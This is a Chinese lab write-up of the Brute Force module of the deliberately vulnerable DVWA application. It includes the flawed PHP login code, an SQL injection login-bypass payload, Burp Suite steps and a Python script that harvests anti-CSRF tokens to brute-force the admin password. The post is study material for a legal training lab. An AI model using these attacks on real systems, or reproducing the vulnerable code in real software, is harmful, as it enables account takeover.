DVWA介绍

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

Brute Force

1. 题目

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。

2. Low

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; echo "$query";
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
echo "$query";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

服务器只验证了登录过程中Login参数是否被设置,没有任何防爆破的机制,而且对于输入的参数没有进行任何过滤。存在sql注入漏洞

b. 漏洞利用

  1. 使用burpsuite进行爆破

  2. sql注入

    payload:admin' #

3. Medium

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

对于输入的username和password进行了特殊字符的转义(mysql_real_escape_string),但是安全度不高,MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过转义。对于登录失败后sleep(2),不能有效防止爆破攻击。

b. 漏洞利用

使用burpsuite进行爆破

4. High

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; // Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

代码中增加了Token,可以防御CSRF攻击,在点击登录的时候同时会提交Token,增大了爆破的难度。

<form action="#" method="GET">
Username:<br />
<input type="text" name="username"><br />
Password:<br />
<input type="password" AUTOCOMPLETE="off" name="password"><br />
<br />
<input type="submit" value="Login" name="Login">
<input type='hidden' name='user_token' value='33da2d6fe3888d8ac54296d7ab91e155' />
</form>

可以通过python脚本,进行爆破。

b. 漏洞利用

python脚本

from bs4 import BeautifulSoup
import requests header = {
'Cookie': 'security=high; PHPSESSID=02krk6ekcvc7ofissuaibfivh4'
} url = "http://[ip]/DVWA/vulnerabilities/brute/" def get_token(url, header):
str_get = requests.get(url=url, headers=header)
bs = BeautifulSoup(str_get.text, "html.parser")
user_token = bs.find_all('input')[3].get('value')
return user_token, str_get user_token, str_ = get_token(url, header)
i = 1
for line in open("rkolin.txt"):
url = "http://[ip]/DVWA/vulnerabilities/brute/" + \
"?username=admin&password=" + line.strip() + \
"&Login=Login&user_token=" + user_token
user_token, str_ = get_token(url, header)
code = str_.status_code
length = len(str_.text)
print(i, 'admin', line.strip(), code, length)
if 'Username and/or password incorrect.' in str_.text:
i += 1
continue
else:
print("Success!,Password is '%s'" % line.strip())
break

使用burpsuite:

获取数据包,选择Pitchfork

将线程数修改为1:

设置搜索项:

在发送数据包的时候实测会经过重定向,所以这里选择关注重定向:

修改第二条payload为递归搜索:

完成攻击:

5. impossible

a. 代码分析

<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false; // Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch(); // Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time(); /*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/ // Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
} // Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch(); // If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ]; // Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />"; // Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
} // Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) ); // Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} // Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>

代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

DVWA学习记录 PartⅠ的更多相关文章

  1. DVWA学习记录 PartⅦ

    SQL Injection 1. 题目 SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的. 2. Low a. ...

  2. DVWA学习记录 PartⅤ

    File Upload 1. 题目 File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文 ...

  3. DVWA学习记录 PartⅣ

    File Inclusion 1. 题目 File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include ...

  4. DVWA学习记录 PartⅢ

    CSRF 1. 题目 CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶意链接或者 ...

  5. DVWA学习记录 PartⅨ

    XSS(DOM) 1. 题目 XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在 ...

  6. DVWA学习记录 PartⅧ

    Weak Session IDs 1. 题目 用户访问服务器的时候,为了区别多个用户,服务器都会给每一个用户分配一个 session id .用户拿到 session id 后就会保存到 cookie ...

  7. DVWA学习记录 PartⅥ

    Insecure CAPTCHA 1. 题目 Insecure CAPTCHA(全自动区分计算机和人类的图灵测试),意思是不安全的验证码. 指在进行验证的过程中,出现了逻辑漏洞,导致验证码没有发挥其应 ...

  8. DVWA学习记录 PartⅡ

    Command Injection 1. 题目 Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 2. Low a. 代码分析 ...

  9. Quartz 学习记录1

    原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...

随机推荐

  1. bat 脚本定时删除备份文件

    删除 D:\yswbak 目录下rar类型 6天前的 文件 @echo off forfiles /p D:\yswbak /m *.rar /d -6 /c "cmd /c del @pa ...

  2. akka-typed(7) - cluster:sharding, 集群分片

    在使用akka-typed的过程中发现有很多地方都简化了不少,变得更方便了,包括:Supervision,只要用Behaviors.supervise()把Behavior包住,很容易就可以实现这个a ...

  3. Thread基础-创建线程的方式

    Java线程创建的几种简单方式 1. extends Thread类 public class ThreadDemo extends Thread{ @Override public void run ...

  4. @loj - 2004@ 「SDOI2017」硬币游戏

    目录 @description@ @solution@ @accepted code@ @details@ @description@ 周末同学们非常无聊,有人提议,咱们扔硬币玩吧,谁扔的硬币正面次数 ...

  5. PyQt5中QTableView函数讲解

    如果想熟悉QTableWidget,请参考PyQt5高级界面控件之QTableWidget(四) setSpan(int, int, int, int)四个参数分别代表,起始行,列,合并的行数,全并的 ...

  6. [.NET 开源] 高性能的 Swifter.MessagePack 已发布,并附带新版本的 Swifter.Json 和 Swifter.Data。

    抱歉各位朋友,由于各种私事公事,本应该在 19 年底发布的 Swifter.MessagePack 库延迟了这么久才发布,我深感抱歉. MsgPack 简介 MsgPack 一种非常轻巧的二进制数据交 ...

  7. MFC exe文件生成的图标更改方法

    MFC exe文件生成的图标更改方法 https://blog.csdn.net/txwtech/article/details/92980545

  8. .NET进行客户端Web开发又一利器 - Ant Design Blazor

    你好,我是Dotnet9,继上篇介绍Bootstrap风格的BlazorUI组件库后,今天我来介绍另一款Blazor UI组件库:一套基于 Ant Design 和 Blazor 的企业级组件库. 本 ...

  9. 第十章:RDB持久化

    RDB 保存命令 save 命令,阻塞 Redis 服务器进程,直到保存动作完成: bgsave 命令,派生出一个子进程来完成保存动作: 载入命令 Redis 没有载入 RDB 文件的命令,载入动作在 ...

  10. Docker Playgrounds

    上级:https://www.cnblogs.com/hackerxiaoyon/p/12747387.html Flink Operations Playground flink的操作场地,从这一小 ...